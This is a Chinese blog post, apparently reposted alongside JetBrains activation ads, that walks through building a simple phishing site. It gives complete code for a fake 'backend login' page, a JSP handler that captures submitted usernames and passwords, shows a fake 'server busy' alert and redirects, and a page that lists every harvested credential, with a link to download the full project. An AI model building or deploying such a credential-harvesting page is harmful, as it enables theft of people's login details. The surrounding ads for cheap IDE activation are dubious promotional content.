大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。
Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺
本次只是用最简单的方法模拟钓鱼网站。
前端的代码是从网上下载的,我只是做了稍微的修改。
整个项目的源码如下(2018年2月10日在审核估计2月11后可以下载):
http://download.csdn.net/download/qq78442761/10247969
最后的效果是如下图:
输入用户名和密码后,会提醒服务器繁忙
然后,我们登录到另外一个页面进行查看:
这里涉及如下技术:
1.修改网上下载的html代码,为自己所使用。
2.读取前端数据,填出提示框,和页面跳转。
3.用链表存储数据,用另外一个页面打印。
1.修改的前端html如下:
index.html的伪代码
<script>
function login(){
var form1=document.formLogin;
form1.action="query.jsp";
form1.submit();
}
</script>
</head>
<body>
<div class="container demo-1">
<div class="content">
<div id="large-header" class="large-header">
<canvas id="demo-canvas"></canvas>
<div class="logo_box">
<h3>后台登录</h3>
<form name="formLogin" action="#" name="f" method="post">
<div class="input_outer">
<span class="u_user"></span>
<input name="logname" class="text" style="color: #FFFFFF !important" type="text" placeholder="请输入账户">
</div>
<div class="input_outer">
<span class="us_uer"></span>
<input name="logpass" class="text" style="color: #FFFFFF !important; position:absolute; z-index:100;"value="" type="password" placeholder="请输入密码">
</div>
<div class="mb2"><a class="act-but submit" href="javascript:login(0);" style="color: #FFFFFF">登录</a></div>
</form>
</div>
</div>
</div>
</div><!-- /container -->
下面是获得前端数据,和实现跳转,弹出提示框功能:
query.jsp的伪代码
<%
request.setCharacterEncoding("UTF-8");
String name=request.getParameter("logname");
String passWD=request.getParameter("logpass");
Data currData=new Data();
currData.setUserName(name);
currData.setPassWord(passWD);
DataList.put(currData);
out.print("<script>alert('服务器繁忙'); window.location.href='index.html'</script>");
%>
下面是java代码,是链表的存储
data.java
package my;
public class Data {
private String userName;
private String passWord;
public String getUserName() {
return userName;
}
public void setUserName(String userName) {
this.userName = userName;
}
public String getPassWord() {
return passWord;
}
public void setPassWord(String passWord) {
this.passWord = passWord;
}
}
DataList.java的代码
package my;
import java.util.ArrayList;
public class DataList {
public static ArrayList dataList=new ArrayList();
public static void put(Data data){ //压入链尾
dataList.add(data);
}
}
最后是打印页面
print.jsp的伪代码
<%
int countNum=DataList.dataList.size();
out.write("总数据是"+countNum+"</br>");
out.write("收字符串首串是用户名,接着是密码!</br>");
for(int i=0;i<DataList.dataList.size();i++){
Data data=(Data)DataList.dataList.get(i);
out.write(data.getUserName()+"-------------"+data.getPassWord()+"</br>");
}
%>
代码很简单,在此不再说明,逻辑也很清晰,需要源码的在最上面那个链接下载!
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/172711.html原文链接:https://javaforall.cn
【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...